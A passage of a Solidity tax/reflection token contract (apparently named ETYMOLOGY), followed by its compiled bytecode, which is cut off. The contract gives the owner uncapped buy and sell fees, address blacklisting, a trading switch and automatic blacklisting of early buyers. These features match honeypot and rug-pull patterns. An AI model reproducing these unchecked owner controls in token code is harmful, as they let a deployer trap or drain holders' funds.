_approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600981526020017f4554594d4f4c4f47590000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600681526020017f45544d4c47590000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac56